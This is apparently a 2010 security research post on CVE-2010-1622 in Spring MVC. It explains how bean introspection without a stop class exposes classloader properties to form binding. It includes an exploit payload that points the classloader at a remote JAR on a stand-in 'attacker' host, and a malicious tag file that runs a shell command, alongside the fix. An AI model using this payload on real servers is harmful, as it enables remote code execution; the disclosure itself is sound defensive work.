http://www.exploit-db.com/exploits/13918/
http://blog.o0o.nu/2010/06/cve-2010-1622.html
Spring Source has recently published
an advisory on CVE-2010-1622, so I figured I'd provide more details since other
projects may be affected in similar ways due to incorrect usage of Java Beans API.
Java Beans APIJava Beans API's Introspector class
provides 2 methods to obtain bean information of a class:BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)Calling getBeanInfo() on
a bean(POJO) without supplying a stopClass will
result in BeanInfo's PropertyDescriptor array
containing properties of theObject.class,
which all Java classes have as their superclass. Example:public class Person { private String firstName; private String lastName;
public String getFirstName(); public void setFirstName(String firstName); public String getLastName(); public void setLastName(String lastName);}
...public static void main(String[] args) throws Exception { BeanInfo info = Introspector.getBeanInfo(Person.class); PropertyDescriptor[] properties = info.getPropertyDescriptors(); for (PropertyDescriptor pd : properties) { System.out.println("Property: " + pd.getName()); } }...The output is:Property: classProperty: firstNameProperty: lastNamefirstName and lastName are
expected but the class property
corresponds to the Object.getClass() method,
which returns Class. If
we callIntrospector.getBeanInfo(Class.class) we'll
get a lot more properties:Property: annotationProperty: annotationsProperty: anonymousClassProperty: arrayProperty: canonicalNameProperty: classProperty: classLoaderProperty: classesProperty: componentTypeProperty: constructorsProperty: declaredAnnotationsProperty: declaredClassesProperty: declaredConstructorsProperty: declaredFieldsProperty: declaredMethodsProperty: declaringClassProperty: enclosingClassProperty: enclosingConstructor...Spring BeansSpring MVC allows developers to associate an object that represents HTML form input
(form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:POST /adduser HTTP/1.0...firstName=Tavis&lastName=Ormandywill result in Spring (Spring Beans component) enumerating available properties of
the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the firstName andlastName properties
will be set to the corresponding values. To support more complex classes Spring also supports dot notation, souser.address.street=Disclosure+Str. will
be an equivalent of:frmObj.getUser().getAddress().setStreet("Disclosure Str.") The problem is that Spring Beans' CachedIntrospectionResults class
that enumerates properties available to be set from user's form submission uses java.beans.Introspector.getBeanInfo() without
specifying a stop class, which means that 'class'
property and everything after it is available for setting from HTTP requests.AttackIf an attacker submits HTTP request to a form controller with the following HTTP parameter:POST /adduser HTTP/1.0...class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/she will overwrite 0th element in the array returned by frmObj.getClass().getClassLoader().getURLs() with
her own URL.Which class loader will it be?In the case of Apache Tomcat it's org.apache.catalina.loader.WebappClassLoaderWhat's the deal with [0]?Spring Framework automatically handles arrays and other collections (List, Map, etc).
It can also automatically convert String to more complex types e.g. tojava.io.File, java.net.URL,
etc.What's the deal with jar:http://...!/ URL?Java's URL class automatically handles http:// JAR URLs just like it handles file://
URLs, it retrieves remote JAR transparently to the caller.Where will the attacker's URL be used?It turned out that Jasper's TldLocationsCache will
use URLs returned by its class loader (the one the attacker modified above) to resolve Tag Library Descriptor (TLD) files when compiling JSP files. TLD files define custom tags and classes that implement them. In addition to classes, TLD files support tag
files, which are essentially JSP files (plaintext file with Java code enclosed
in <%...%>).
In the attack above the attacker supplies a URL of a JAR file that contains modified spring-form.tld file
which will define Spring's custom form tags as being implemented by tag files:/META-INF/spring-form.tld which
defines form:input and form:formtags: <tag-file> <name>input</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> <tag-file> <name>form</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file>
/META-INF/tags/InputTag.tag:<%@ tag dynamic-attributes="dynattrs" %><% java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); %>When Jasper will be resolving Spring form tag libraries referenced in a JSP file and
will find spring-form.tld in
the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.It should be noted that, based on my quick inspection of the code, TldLocationsCache gets
URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which
makes this attack a lot harder to carry out.How to avoid this bug?Specify the stop class:BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)
Parting thoughtsThere's got to be more components out there that use class loader's URLs, which will
make the attack easier than the one described above.There's got to be a way to do something interesting with other 'class'
properties still exposed. Spring's fix for this vulnerability was to blacklist 'classLoader'
property.There's
a lot more code out there that doesn't specify stop class, some of it has to have
security implications.